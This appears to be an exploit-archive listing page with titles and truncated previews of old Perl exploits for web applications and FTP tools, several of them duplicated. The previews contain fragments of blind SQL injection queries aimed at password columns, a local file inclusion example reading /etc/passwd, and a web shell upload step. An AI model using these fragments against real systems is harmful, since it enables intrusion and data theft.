Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service

!usr/bin/perl -w Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478 https://www.securityfocus.com/bid/33604/discuss $$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$ $$$$$Author will not bare any responsibility for any damages...

Simple PHP News 1.0 - Remote Command Execution

!/usr/bin/perl ----------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------- App = Simple PHP News 1.0 Final Downl = http://www.hotscripts.com/jump.php?listingid=66376&jumptype=1 Remote...

YapBB <= 1.2 (forumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM "...

Free Download Manager 2.5/3.0 (Authorization) Stack BOF PoC

Exploit for unknown platform in category dos / poc =========================================================== Free Download Manager 2.5/3.0 Authorization Stack BOF PoC =========================================================== !usr/bin/perl -w Stack-based buffer overflow in Remote Control Serve...

YapBB &lt;= 1.2 (forumID) Blind SQL Injection Exploit

No description provided by source. --+++======================================================+++-- --+++====== YapBB = 1.2 Blind SQL Injection Exploit ======+++-- --+++======================================================+++-- !/usr/bin/perl use strict; use warnings; use IO::Socket; sub usage d...

TxtBlog 1.0 Alpha - Remote Command Execution

!/usr/bin/perl ----------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------- App = TxtBlog v 1.0 Alpha Downl = http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip Remote Command...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow

WFTPD Explorer Pro 1.0 - Remote Heap Overflow !/usr/bin/perl WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit --------------------------------------------------- Exploit by SkD [email protected] This is a remote heap overflow exploit for WFTPD Explorer Pro 1.0 by Texas Imperial Software...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow

!/usr/bin/perl WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit --------------------------------------------------- Exploit by SkD [email protected] This is a remote heap overflow exploit for WFTPD Explorer Pro 1.0 by Texas Imperial Software. Vendors website = http://www.wftpd.com Tested on...

Personal Site Manager 0.3 - Remote Command Execution

--+++===========================================================================+++-- --+++====== Personal Site Manager shell.php"; shell.php will be delete, it won't leave any trace about exploit's run print SHELL ""; close SHELL; my $url = "http://$hostname$path/psm/uploadfile.php?submit=banane...

SiteXS 0.1.1 Local File Inclusion

--+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host, PeerPort = 80, Proto = "tcp"...

SiteXS <= 0.1.1 (type) Local File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host,...

SiteXS CMS 0.1.1 - Local File Inclusion

SiteXS CMS 0.1.1 - Local File Inclusion --+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHo...

SiteXS CMS 0.1.1 - Local File Inclusion

--+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host, PeerPort = 80, Proto = "tcp"...

GuildFTPd 0.999.14 File Delete Exploit

!/usr/bin/perl Exploit: GuildFTPd FTP Server Version 0.999.14 Remote Delete Files download module: http://www.infos-du-net.com/telecharger/GuildFTPD,0301-3342.html The vulnerability is located in the syntax "..", it can delete a file int he subdirectory Syntax in a console = DEL ..\test.txt...

Oracle Secure Backup login.php rbtool command injection

Added: 01/20/2009 CVE: CVE-2008-5448 BID: 33177 OSVDB: 51342 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A command injection vulnerability in the Oracle Secure Backup web interface allows a remote attacker to execute arbitrary...

Oracle Secure Backup login.php rbtool command injection

Added: 01/20/2009 CVE: CVE-2008-5448 BID: 33177 OSVDB: 51342 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A command injection vulnerability in the Oracle Secure Backup web interface allows a remote attacker to execute arbitrary...

Fhimage 1.2.1 Remote Command Execution Exploit (mq = off)

No description provided by source. !/usr/bin/perl ----------------------------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------------------------- Fhimage 1.2.1...

Fhimage 1.2.1 - Remote Index Change

Fhimage 1.2.1 - Remote Index Change !/usr/bin/perl ----------------------------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------------------------- Fhimage 1.2.1...

Fhimage 1.2.1 Remote Index Change Exploit

No description provided by source. !/usr/bin/perl ----------------------------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------------------------- Fhimage 1.2.1...

phosheezy 2.0 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl phosheezy 2.0 http://www.ryneezy.net/apps/phosheezy/phosheezy-v0.2.tar.gz Remote Command Execution Exploit by Osirys osirysatlivedotit osirys.org Greets: HaVoC, x0r, jay, BlackLight lol at athos...